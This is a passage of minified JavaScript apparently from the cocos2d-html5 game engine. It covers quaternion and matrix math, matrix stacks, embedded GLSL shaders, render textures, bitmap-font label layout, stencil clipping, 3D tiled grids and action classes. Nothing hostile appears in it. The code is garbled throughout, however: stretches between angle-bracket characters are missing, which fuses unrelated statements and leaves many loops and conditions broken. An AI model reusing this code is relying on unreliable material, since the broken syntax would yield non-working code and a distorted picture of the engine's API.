d=0;16>d;d++)if(!(a.c[d]+b.za>c.c[d]&&a.c[d]-b.zad?b.aT:b.cT};function ha(){this.G=this.z=this.y=this.x=0}b.m3=function(a,c){a.x=-c.x;a.y=-c.y;a.z=-c.z;a.G=c.G;return a};b.n3=function(a,c){return a.G*c.G+a.x*c.x+a.y*c.y+a.z*c.z};b.kga=function(a){return a};b.o3=function(a){a.x=0;a.y=0;a.z=0;a.G=1};b.lga=function(a,c){var d=b.EO(c),e=new ha;if(Math.abs(d)>b.za)return a.x=0,a.y=0,a.z=0,a.G=0,a;b.Sx(a,b.m3(e,c),1/d);return a};b.mga=function(a){return 0==a.x&&0==a.y&&0==a.z&&1==a.G};b.EO=function(a){return Math.sqrt(b.p3(a))}; b.p3=function(a){return a.x*a.x+a.y*a.y+a.z*a.z+a.G*a.G};b.nga=function(a){return a};b.oga=function(a,c,d){a.G=c.G*d.G-c.x*d.x-c.y*d.y-c.z*d.z;a.x=c.G*d.x+c.x*d.G+c.y*d.z-c.z*d.y;a.y=c.G*d.y+c.y*d.G+c.z*d.x-c.x*d.z;a.z=c.G*d.z+c.z*d.G+c.x*d.y-c.y*d.x;return a};b.FO=function(a,c){var d=b.EO(c);if(Math.abs(d)<=b.za)throw"cc.kmQuaternionNormalize(): pIn is an invalid value";b.Sx(a,c,1/d)};b.GO=function(a,c){var d=0.5*b.EF,e=Math.sin(d);a.G=Math.cos(d);a.x=c.x*e;a.y=c.y*e;a.z=c.z*e}; b.HO=function(a,c){var d,e,f,g;d=[];e=g=0;if(c){d[0]=c.c[0];d[1]=c.c[3];d[2]=c.c[6];d[4]=c.c[1];d[5]=c.c[4];d[6]=c.c[7];d[8]=c.c[2];d[9]=c.c[5];d[10]=c.c[8];d[15]=1;var h=d[0];e=h[0]+h[5]+h[10]+1;e>b.za?(g=2*Math.sqrt(e),d=(h[9]-h[6])/g,e=(h[2]-h[8])/g,f=(h[4]-h[1])/g,g*=0.25):h[0]>h[5]&&h[0]>h[10]?(g=2*Math.sqrt(1+h[0]-h[5]-h[10]),d=0.25*g,e=(h[4]+h[1])/g,f=(h[2]+h[8])/g,g=(h[9]-h[6])/g):h[5]>h[10]?(g=2*Math.sqrt(1+h[5]-h[0]-h[10]),d=(h[4]+h[1])/g,e=0.25*g,f=(h[9]+h[6])/g,g=(h[2]-h[8])/g):(g=2*Math.sqrt(1+ h[10]-h[0]-h[5]),d=(h[2]+h[8])/g,e=(h[9]+h[6])/g,f=0.25*g,g=(h[4]-h[1])/g);a.x=d;a.y=e;a.z=f;a.G=g}};b.rga=function(a,c,d,e){var f,g,h,k,m;f=b.Rs(d)/2;g=b.Rs(c)/2;h=b.Rs(e)/2;e=Math.cos(f);c=Math.cos(g);d=Math.cos(h);f=Math.sin(f);g=Math.sin(g);h=Math.sin(h);k=c*d;m=g*h;a.G=e*k+f*m;a.x=f*k-e*m;a.y=e*g*d+f*c*h;a.z=e*c*h-f*g*d;b.FO(a,a);return a}; b.sga=function(a,c,d,e){if(c.x==d.x&&c.y==d.y&&c.z==d.z&&c.G==d.G)return a.x=c.x,a.y=c.y,a.z=c.z,a.G=c.G,a;var f=b.n3(c,d),g=Math.acos(f),f=Math.sqrt(1-b.Fc(f)),h=Math.sin(e*g)/f,k=new ha,m=new ha;b.Sx(k,c,Math.sin((1-e)*g)/f);b.Sx(m,d,h);b.l3(a,k,m);return a};b.IO=function(a,c){var d;d=Math.sqrt(b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z));d>-b.za&&d2*b.EF-b.za?(c.x=0,c.y=0,c.z=1):(c.x=a.x/d,c.y=a.y/d,c.z=a.z/d,b.pf(c,c))};b.Sx=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;a.G=c.G*d}; b.jga=function(a,c){a.x=c.x;a.y=c.y;a.z=c.z;a.G=c.G;return a};b.l3=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.G=c.G+d.G}; b.qga=function(a,c,d,e){var f=new b.tb,g=new b.tb;b.Ss(f,c);b.Ss(g,d);b.pf(f,f);b.pf(g,g);d=b.GF(f,g);if(1<=d)return b.o3(a),a;-0.999999>d?Math.abs(b.LO(e))=c.min.x&&a.x<=c.max.x&&a.y>=c.min.y&&a.y<=c.max.y&&a.z>=c.min.z&&a.z<=c.max.z?b.Bn:b.An};b.kfa=function(a,c){b.Ss(a.min,c.min);b.Ss(a.max,c.max);return a};b.mfa=function(){b.log("cc.kmAABBScale hasn't been supported.")};b.Vx=function(a,c,d,e){this.top=d;this.stack=e};b.Vx.k8=30;b.JF=function(a){a.stack=[];a.top=null};b.Wx=function(a,c){a.stack.push(a.top);a.top=new b.ca;b.Hj(a.top,c)};b.Yga=function(a){a.top=a.stack.pop()};b.KF=function(a){a.stack=null;a.top=null};b.$g=5888;b.ah=5889;b.oH=5890;b.Lj=new b.Vx;b.ll=new b.Vx;b.xt=new b.Vx;b.Ob=null;b.vF=!1;b.v3=function(){if(!b.vF){var a=new b.ca;b.JF(b.Lj);b.JF(b.ll);b.JF(b.xt);b.Ob=b.Lj;b.vF=!0;b.Xm(a);b.Wx(b.Lj,a);b.Wx(b.ll,a);b.Wx(b.xt,a)}};b.v3();b.b3=function(){b.KF(b.Lj);b.KF(b.ll);b.KF(b.xt);b.vF=!1;b.Ob=null};b.Gj=function(){b.Wx(b.Ob,b.Ob.top)};b.rfa=function(a){b.Ob.stack.push(b.Ob.top);b.Hj(a,b.Ob.top);b.Ob.top=a};b.Fj=function(){b.Ob.top=b.Ob.stack.pop()}; b.of=function(a){switch(a){case b.$g:b.Ob=b.Lj;break;case b.ah:b.Ob=b.ll;break;case b.oH:b.Ob=b.xt;break;default:throw"Invalid matrix mode specified";}};b.fl=function(){b.Xm(b.Ob.top)};b.qfa=function(a){b.Hj(b.Ob.top,a)};b.zp=function(a){b.Ei(b.Ob.top,b.Ob.top,a)};b.Ap=function(a,c){var d=new b.ca;b.DO(d,a,c,0);b.Ei(b.Ob.top,b.Ob.top,d)};b.sfa=function(a,c,d,e){c=new b.tb(c,d,e);d=new b.ca;b.h3(d,c,b.Rs(a));b.Ei(b.Ob.top,b.Ob.top,d)}; b.tfa=function(a,c,d){var e=new b.ca;b.i3(e,a,c,d);b.Ei(b.Ob.top,b.Ob.top,e)};b.Ox=function(a,c){switch(a){case b.$g:b.Hj(c,b.Lj.top);break;case b.ah:b.Hj(c,b.ll.top);break;case b.oH:b.Hj(c,b.xt.top);break;default:throw"Invalid matrix mode specified";}};b.zT="precision lowp float;\nvarying vec4 v_fragmentColor;\nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n}\n";b.AT="attribute vec4 a_position;\nuniform vec4 u_color;\nuniform float u_pointSize;\nvarying lowp vec4 v_fragmentColor; \nvoid main(void) \n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n gl_PointSize \x3d u_pointSize; \n v_fragmentColor \x3d u_color; \n}";b.nT="precision lowp float; \nvarying vec4 v_fragmentColor; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n} "; b.qT="attribute vec4 a_position;\nattribute vec4 a_color;\nvarying lowp vec4 v_fragmentColor;\nvoid main()\n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n}";b.oT="// #extension GL_OES_standard_derivatives : enable\nvarying mediump vec4 v_color;\nvarying mediump vec2 v_texcoord;\nvoid main()\t\n{ \n// #if defined GL_OES_standard_derivatives\t\n// gl_FragColor \x3d v_color*smoothstep(0.0, length(fwidth(v_texcoord)), 1.0 - length(v_texcoord)); \n// #else\t\ngl_FragColor \x3d v_color * step(0.0, 1.0 - length(v_texcoord)); \n// #endif \n}"; b.pT="attribute mediump vec4 a_position; \nattribute mediump vec2 a_texcoord; \nattribute mediump vec4 a_color;\t\nvarying mediump vec4 v_color; \nvarying mediump vec2 v_texcoord;\t\nvoid main() \n{ \n v_color \x3d a_color;//vec4(a_color.rgb * a_color.a, a_color.a); \n v_texcoord \x3d a_texcoord; \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n}";b.vT="precision lowp float; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord); \n}"; b.yT="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}";b.wT="precision lowp float; \nuniform vec4 u_color; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord) * u_color; \n}";b.xT="attribute vec4 a_position;\nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}"; b.rT="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d vec4( v_fragmentColor.rgb, \n v_fragmentColor.a * texture2D(CC_Texture0, v_texCoord).a \n ); \n}";b.sT="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}"; b.uT="precision lowp float;\nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor * texture2D(CC_Texture0, v_texCoord); \n}";b.WH="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}"; b.tT="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nuniform float CC_alpha_value; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(CC_Texture0, v_texCoord); \n // mimic: glAlphaFunc(GL_GREATER) \n //pass if ( incoming_pixel \x3e\x3d CC_alpha_value ) \x3d\x3e fail if incoming_pixel \x3c CC_alpha_value \n if ( texColor.a \x3c\x3d CC_alpha_value ) \n discard; \n gl_FragColor \x3d texColor * v_fragmentColor; \n}"; b.W8="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D u_texture; \nuniform sampler2D u_mask; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(u_texture, v_texCoord); \n vec4 maskColor \x3d texture2D(u_mask, v_texCoord); \n vec4 finalColor \x3d vec4(texColor.r, texColor.g, texColor.b, maskColor.a * texColor.a); \n gl_FragColor \x3d v_fragmentColor * finalColor; \n}";b.Hd={qA:0,rA:1,oA:2,pA:3,tA:4,sA:5,uA:6,jI:7,t9:8,jd:{},Ar:function(){this.z3();return!0},Be:function(a,c){switch(c){case this.qA:a.Di(b.WH,b.uT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);a.od(b.pn,b.vd);break;case this.rA:a.Di(b.WH,b.tT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);a.od(b.pn,b.vd);break;case this.oA:a.Di(b.qT,b.nT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);break;case this.pA:a.Di(b.yT,b.vT);a.od(b.ul,b.ob);a.od(b.pn,b.vd);break;case this.tA:a.Di(b.xT,b.wT);a.od(b.ul,b.ob);a.od(b.pn,b.vd);break;case this.sA:a.Di(b.sT, b.rT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);a.od(b.pn,b.vd);break;case this.uA:a.Di(b.AT,b.zT);a.od("aVertex",b.ob);break;case this.jI:a.Di(b.pT,b.oT);a.od(b.ul,b.ob);a.od(b.pn,b.vd);a.od(b.Zp,b.ve);break;default:b.log("cocos2d: cc.shaderCache._loadDefaultShader, error shader type");return}a.link();a.O6()},z3:function(){var a=new b.Th;this.Be(a,this.qA);this.jd[b.Vi]=a;this.jd.ShaderPositionTextureColor=a;a=new b.Th;this.Be(a,this.rA);this.jd[b.ru]=a;this.jd.ShaderPositionTextureColorAlphaTest=a;a=new b.Th; this.Be(a,this.oA);this.jd[b.qu]=a;this.jd.ShaderPositionColor=a;a=new b.Th;this.Be(a,this.pA);this.jd[b.Gq]=a;this.jd.ShaderPositionTexture=a;a=new b.Th;this.Be(a,this.tA);this.jd[b.hA]=a;this.jd.ShaderPositionTextureUColor=a;a=new b.Th;this.Be(a,this.sA);this.jd[b.gA]=a;this.jd.ShaderPositionTextureA8Color=a;a=new b.Th;this.Be(a,this.uA);this.jd[b.iA]=a;this.jd.ShaderPositionUColor=a;a=new b.Th;this.Be(a,this.jI);this.jd[b.VH]=a;this.jd.ShaderPositionLengthTextureColor=a},Kia:function(){var a=this.nc(b.Vi); a.reset();this.Be(a,this.qA);a=this.nc(b.ru);a.reset();this.Be(a,this.rA);a=this.nc(b.qu);a.reset();this.Be(a,this.oA);a=this.nc(b.Gq);a.reset();this.Be(a,this.pA);a=this.nc(b.hA);a.reset();this.Be(a,this.tA);a=this.nc(b.gA);a.reset();this.Be(a,this.sA);a=this.nc(b.iA);a.reset();this.Be(a,this.uA)},nc:function(a){return this.jd[a]},Vm:function(a){return this.jd[a]},K$:function(a,c){this.jd[c]=a}};b.XR=function(){this.location=this.value=void 0;this.zx={}}; b.Th=b.oa.extend({ha:null,Db:null,gf:null,vg:null,vb:null,gh:null,rM:!1,He:function(a,c){if(null==a)return!1;for(var d=!0,e=null,f=0;farguments.length))switch(arguments.length){case 2:this.rt(arguments[0],arguments[1]);break;case 3:this.L5(arguments[0],arguments[1],arguments[2]);break;case 4:this.M5(arguments[0],arguments[1],arguments[2],arguments[3]);break;case 5:this.st(arguments[0],arguments[1],arguments[2], arguments[3],arguments[4])}},tt:function(){var a=new b.ca,c=new b.ca,d=new b.ca;b.Ox(b.ah,a);b.Ox(b.$g,c);b.Ei(d,a,c);this.yG(this.vb[b.DA],a.c,1);this.yG(this.vb[b.CA],c.c,1);this.yG(this.vb[b.Pq],d.c,1);this.rM&&(a=b.J,a=a.Kw*a.Xq,this.st(this.vb[b.HA],a/10,a,2*a,4*a),this.st(this.vb[b.GA],a/8,a/4,a/2,Math.sin(a)),this.st(this.vb[b.BA],a/8,a/4,a/2,Math.cos(a)));-1!=this.vb[b.EA]&&this.st(this.vb[b.EA],Math.random(),Math.random(),Math.random(),Math.random())},ala:function(){this.ha.uniformMatrix4fv(this.vb[b.Pq], !1,b.w1())},bla:function(a){b.Ei(a,b.ll.top,b.Lj.top);this.ha.uniformMatrix4fv(this.vb[b.Pq],!1,a.c)},Re:function(){this.ha.uniformMatrix4fv(this.vb[b.CA],!1,b.Lj.top.c);this.ha.uniformMatrix4fv(this.vb[b.DA],!1,b.ll.top.c)},R6:function(){return this.ha.getShaderInfoLog(this.gf)},sea:function(){return this.ha.getShaderInfoLog(this.gf)},Mca:function(){return this.ha.getShaderInfoLog(this.gf)},P0:function(){return this.ha.getShaderInfoLog(this.vg)},ria:function(){return this.ha.getProgramInfoLog(this.Db)}, Dda:function(){return this.ha.getProgramInfoLog(this.Db)},reset:function(){this.vg=this.gf=null;this.vb.length=0;this.ha.deleteProgram(this.Db);this.Db=null;for(var a=0;a>1;a|=a>>2;a|=a>>4;a|=a>>8;return(a|a>>16)+1}; b.Gn=b.m.extend({sprite:null,ax:0,uE:0,Xo:!1,Wd:null,Xd:null,sv:0,Ol:0,ki:0,I:null,gs:null,GZ:null,mi:b.da.Ui,Zi:null,vE:0,oB:null,ub:"RenderTexture",ctor:null,fr:function(a,c,d,e){b.m.prototype.ctor.call(this);this.sg=this.yf=!0;this.Zi=b.color(255,255,255,255);this.oB="rgba(255,255,255,1)";this.Wd=b.Rb("canvas");this.Xd=this.Wd.getContext("2d");this.anchorY=this.anchorX=0;void 0!==a&&void 0!==c&&(d=d||b.da.Ui,this.Ix(a,c,d,e||0))},gr:function(a,c,d,e){b.m.prototype.ctor.call(this);this.sg=this.yf= !0;this.Zi=b.color(0,0,0,0);void 0!==a&&void 0!==c&&(d=d||b.da.Ui,this.Ix(a,c,d,e||0))},Ke:null,ZV:function(){b.m.prototype.xb.call(this);this.Wd=this.Xd=null},$V:function(){b.m.prototype.xb.call(this);this.gs=null;var a=b.l;a.deleteFramebuffer(this.sv);this.Ol&&a.deleteRenderbuffer(this.Ol);this.GZ=null},UN:function(){return this.sprite},Ky:function(a){this.sprite=a},Ix:null,CX:function(a,c){var d=this.Wd,e=b.pb();d.width=0|a*e;d.height=0|c*e;this.Xd.translate(0,d.height);e=new b.da;e.Rc(d);e.sb(); d=this.sprite=b.D.create(e);d.pe(b.ONE,b.ONE_MINUS_SRC_ALPHA);this.Xo=!1;this.M(d);return!0},DX:function(a,c,d,e){d==b.da.Aq&&b.log("cc.RenderTexture._initWithWidthAndHeightForWebGL() : only RGB and RGBA formats are valid for a render texture;");var f=b.l,g=b.pb();a=0|a*g;c=0|c*g;this.ki=f.getParameter(f.FRAMEBUFFER_BINDING);var h;b.cp.Gw?(g=a,h=c):(g=b.ak(a),h=b.ak(c));for(var k=new Uint8Array(g*h*4),m=0;md.wd&&b.log("cc.LabelAtlas._updateAtlasValues(): Invalid String length");for(var k=d.quads,m=this.Ba,m={r:m.r,g:m.g,b:m.b,a:this.fb},p=this.gi,q=0;qa&&d.hO(c-a))},ed:null,jZ:function(a){a=String(a);var c=a.length;this.Jb=a;this.width= c*this.gi;this.height=this.jh;if(this.u){a=this.u;for(var c=a.length,d=0;dthis.textureAtlas.totalQuads&&this.textureAtlas.$F(c);this.Jb=a;this.width=c*this.gi;this.height=this.jh;this.Xp();this.quadsToDraw=c},Ta:null,hD:function(a){if(this.fb!==a){b.Ri.prototype.Ta.call(this,a);for(var c=this.u,d=0,e=c.length;d=a)break;var u=this.Jb[f];h||(m=this.OB(q),h=!0);g||(k=m,g=!0);if(10==u.charCodeAt(0)){d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;r--;p-=s;e++;if(f>=a)break;m||(m=this.OB(q),h=!0);k||(k=m,g=!0);f++}else if(this.cC(u))d.push(u),c=c.concat(d),d.length=0,h=!1,m=-1,f++;else if(this.$W(q)-k>this.qs)if(this.ZK){this.sM(d);d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;e++;if(f>=a)break;m||(m=this.OB(q),h=!0);k||(k=m,g=!0);r--}else d.push(u),-1!=c.lastIndexOf(" ")? this.sM(c):c=[],0q)&&(r=this.Hh(q),null!=r)){r=r.Le()+r.fh()/2;h=0;switch(this.Vq){case b.Jq:h=this.width/2-r/2;break;case b.fI:h=this.width-r}if(0!=h)for(r=0;rq||!(q=this.Hh(q)))||(q.x+=h);f+=g;c++;d.length=0}}else d.push(this.Jb[f])},P4:function(a){this.Vq=a;this.fg()},KW:function(){return this.Vq},T4:function(a){this.qs=a;this.fg()},KB:function(){return this.qs},hka:function(a){this.ZK=a;this.fg()},gn:function(a,c){b.m.prototype.gn.call(this,a,c);this.fg()},Pp:function(a){b.m.prototype.Pp.call(this,a);this.fg()},qt:function(a){b.m.prototype.qt.call(this,a);this.fg()},Rja:function(a){if(null!=a&&a!=this.vv){var c=b.V.Cd(a);c?(this.vv=a,this.zf=c,a=b.Ea.Dc(c.FM), this.ma=c=a.ic,this.texture=a,b.B===b.Aa&&(this.jc=this.texture),c?this.fx():a.Td(function(a){this.ma=!0;this.texture=a;this.fx();this.Zd();this.fg();this.Md()},this)):b.log("cc.LabelBMFont.setFntFile() : Impossible to create font. Please check file")}},Kca:function(){return this.vv},nl:function(a,c){b.m.prototype.nl.call(this,a,c);this.fg()},RL:function(a){b.m.prototype.RL.call(this,a);this.fg()},aD:function(a){b.m.prototype.aD.call(this,a);this.fg()},bD:function(a){b.m.prototype.bD.call(this,a); this.fg()},P9:function(){},i$:function(a,c){var d=0;if(this.iW.W2){var e=this.iW.W2[(a<<16|c&65535).toString()];e&&(d=e.$$)}return d},OB:function(a){return a.Le()*this.ka-a.fh()*this.ka*a.Kc.x},$W:function(a){return a.Le()*this.ka+a.fh()*this.ka*a.Kc.x},cC:function(a){a=a.charCodeAt(0);return 9<=a&&13>=a||32==a||133==a||160==a||5760==a||8192<=a&&8202>=a||8232==a||8233==a||8239==a||8287==a||12288==a},sM:function(a){var c=a.length;if(!(0>=c)&&(c-=1,this.cC(a[c]))){for(var d=c-1;0<=d;--d)if(this.cC(a[d]))c= d;else break;this.RZ(a,c)}},RZ:function(a,c){var d=a.length;c>=d||0>c||a.splice(c,d)}});n=b.Cz.prototype;b.B!==b.Aa||b.pa.Bw||(n.Zd=function(){if(b.B!=b.W){var a,c=this.Ca();c&&0f.width||e.scaleH>f.height)&&b.log("cc.LabelBMFont._parseCommonArguments(): page can't be larger than supported")}1!==e.pages&&b.log("cc.LabelBMFont._parseCommonArguments(): only supports 1 page");e=this.Mr(a.match(this.YS)[0]);0!==e.id&&b.log("cc.LabelBMFont._parseImageFileName() : file could not be found");d.FM=b.path.$o(c,e.file);for(var g=a.match(this.hR),h=d.O0={},e=0,f=g.length;e=this.Ek||!this.texture||!this.texture.ic||(a=a||b.l,b.Xs(this), b.Ec(b.Jl),b.Kg(this.s.src,this.s.R),b.oe(this.texture),a.bindBuffer(a.ARRAY_BUFFER,this.cd),a.bufferData(a.ARRAY_BUFFER,this.Qa,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.No),a.bufferData(a.ARRAY_BUFFER,this.Mf,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.vd,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.Zn),a.bufferData(a.ARRAY_BUFFER,this.Yn,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,0,0),a.drawArrays(a.TRIANGLE_STRIP,0,2*this.Ek), b.lf++)},update:function(a){if(this.Ni){a*=this.EB;var c,d,e,f,g=0,h=this.Ek,k=this.DC,m=this.EC,p=this.Qa,q=this.Yn;for(e=0;e=k[e]?g++:(c=e-g,0=this.kC?e=!1:0this.Sn){var d=b.Sb.BYTES_PER_ELEMENT;this.Sn+=Math.max(this.Sn,a);if(null==c||0===c.length)this.ab=[],this.yj=new ArrayBuffer(d* this.Sn),this.gM=new Uint8Array(this.yj);else{a=[];for(var e=new ArrayBuffer(d*this.Sn),f=0;f=c)){d={r:0|d.r,g:0|d.g,b:0|d.b,a:0|d.a};var f=[],g,h,k,m,p=a.length;for(g=0;g=b.vt&&b.log("Stencil buffer is not enabled."),b.dc.ZB=!1);return!0},xX:function(a){this.ld=a;this.Em=1;this.Kh=!1},aa:function(){b.m.prototype.aa.call(this);this.ld.aa()},Nh:function(){b.m.prototype.Nh.call(this); this.ld.Nh()},Vf:function(){this.ld.Vf();b.m.prototype.Vf.call(this)},xb:function(){this.ld.xb();b.m.prototype.xb.call(this)},U:null,ps:function(a){var c=a||b.l;if(1>b.vt)b.m.prototype.U.call(this,a);else if(this.ld&&this.ld.visible)if(b.dc.Kv+1==b.vt)b.dc.$D=!0,b.dc.$D&&(b.log("Nesting more than "+b.vt+"stencils is not supported. Everything will be drawn without stencil for this node and its childs."),b.dc.$D=!1),b.m.prototype.U.call(this,a);else{b.dc.Kv++;var d=1<this.Em){var d=b.Hd.nc(b.ru),s=c.getUniformLocation(d.Vm(),b.SI);b.kF(d.Vm());d.rt(s,this.Em);b.TP(this.ld,d)}b.Gj();this.transform();this.ld.U();b.Fj();c.depthMask(t);c.stencilFunc(c.EQUAL,e,e);c.stencilOp(c.KEEP,c.KEEP,c.KEEP);b.m.prototype.U.call(this,a);c.stencilFunc(h,k,m);c.stencilOp(p,q,r);c.stencilMask(g);f||c.disable(c.STENCIL_TEST); b.dc.Kv--}else this.Kh&&b.m.prototype.U.call(this,a)},zm:function(a){if(this.ld&&this.ld.visible){a=a||b.l;var c=a.canvas;if(this.jB()||this.ld instanceof b.D){var d=b.dc.mX();d.width=c.width;d.height=c.height;d.getContext("2d").drawImage(c,0,0);a.save();b.m.prototype.U.call(this,a);a.globalCompositeOperation=this.Kh?"destination-out":"destination-in";this.transform(a);this.ld.U();a.restore();a.save();a.setTransform(1,0,0,1,0,0);a.globalCompositeOperation="destination-over";a.drawImage(d,0,0)}else{var d= this.u,e;a.save();this.transform(a);this.ld.U(a);this.Kh&&(a.save(),a.setTransform(1,0,0,1,0,0),a.moveTo(0,0),a.lineTo(0,c.height),a.lineTo(c.width,c.height),a.lineTo(c.width,0),a.lineTo(0,0),a.restore());a.clip();this.jB(!0);var f=d.length;if(0e.Bb)e.U(a);else break;for(this.Z(a);ck;++k)r[t[k]]=B[k].x,r[t[k]+1]=B[k].y,r[t[k]+2]=B[k].z,p[x[k]]=s[k].x/c,p[x[k]+1]=q?(e-s[k].y)/d:s[k].y/d}this.jj=new Float32Array(this.Qa);a.bindBuffer(a.ARRAY_BUFFER,this.cd);a.bufferData(a.ARRAY_BUFFER, this.Qa,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.Lf);a.bufferData(a.ARRAY_BUFFER,this.Eg,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.Ff);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.jb,a.STATIC_DRAW);this.hb=!0}});b.wz.create=function(a,c,d){return new b.wz(a,c,d)}; b.yA=b.xn.extend({Eg:null,Qa:null,jj:null,jb:null,Lf:null,cd:null,Ff:null,ctor:function(a,c,d){b.xn.prototype.ctor.call(this);this.Ff=this.cd=this.Lf=this.jb=this.jj=this.Qa=this.Eg=null;void 0!==a&&this.Hx(a,c,d)},qQ:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.tile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.Qa;return new b.ku(new N(c[a],c[a+1],c[a+2]),new N(c[a+3],c[a+4],c[a+5]),new N(c[a+6],c[a+7],c[a+8]),new N(c[a+9],c[a+10],c[a+11]))},Wf:function(a){a.x=== (0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.originalTile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.jj;return new b.ku(new N(c[a],c[a+1],c[a+2]),new N(c[a+3],c[a+4],c[a+5]),new N(c[a+6],c[a+7],c[a+8]),new N(c[a+9],c[a+10],c[a+11]))},Qe:function(a,c){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.setTile() : Numbers must be integers");var d=12*(this.Y.height*a.x+a.y),e=this.Qa;e[d]=c.F.x;e[d+1]=c.F.y;e[d+2]=c.F.z;e[d+3]=c.O.x;e[d+4]=c.O.y;e[d+5]=c.O.z;e[d+6]=c.N.x; e[d+7]=c.N.y;e[d+8]=c.N.z;e[d+9]=c.L.x;e[d+10]=c.L.y;e[d+11]=c.L.z;this.hb=!0},jE:function(){var a=this.Y.width*this.Y.height;this.Eb.Ic();this.Eb.tt();var c=b.l,d=this.hb;b.Ec(b.Kd|b.In);c.bindBuffer(c.ARRAY_BUFFER,this.cd);d&&c.bufferData(c.ARRAY_BUFFER,this.Qa,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.ob,3,c.FLOAT,!1,0,this.Qa);c.bindBuffer(c.ARRAY_BUFFER,this.Lf);d&&c.bufferData(c.ARRAY_BUFFER,this.Eg,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.vd,2,c.FLOAT,!1,0,this.Eg);c.bindBuffer(c.ELEMENT_ARRAY_BUFFER, this.Ff);d&&c.bufferData(c.ELEMENT_ARRAY_BUFFER,this.jb,c.STATIC_DRAW);c.drawElements(c.TRIANGLES,6*a,c.UNSIGNED_SHORT,0);d&&(this.hb=!1);b.Tf()},aG:function(){if(0=this.p},va:function(a){a.Ur=this.Ur;a.he=this.he;a.Xb=this.Xb;a.ug=this.ug;a.$r=this.$r;a.Go=this.Go},fe:function(a){if(this.ug){a.ug=[];for(var c=0;ca?a:1;this.update(0=a)return b.log("The speed parameter error"),this;this.$r=!0;this.he*=a;return this},qx:function(){return this.he}, Oe:function(a){this.he=a;return this},repeat:function(a){a=Math.round(a);if(isNaN(a)||1>a)return b.log("The repeat parameter error"),this;this.Go=!0;this.Xb*=a;return this},tP:function(){this.Go=!0;this.Xb=this.MAX_VALUE;this.Ur=!0;return this}});b.VZ=function(a){return new b.v(a)};b.v.create=b.VZ; b.Ve=b.v.extend({ai:null,bM:null,Fr:0,ctor:function(a){b.v.prototype.ctor.call(this);this.ai=[];var c=a instanceof Array?a:arguments,d=c.length-1;0<=d&&null==c[d]&&b.log("parameters should not be ending with null in Javascript");if(0<=d){for(var e=c[0],f=1;f=f){for(;a>f&&this.Vkf?this.zj=b.Ve.Wi(c,b.Ud(e- f)):ed&&(d+=360);this.as=c;this.AJ=d;this.Ko=a.rotationY%360;a=this.yB-this.Ko;180a&&(a+=360); this.BJ=a},reverse:function(){b.log("cc.RotateTo.reverse(): it should be overridden in 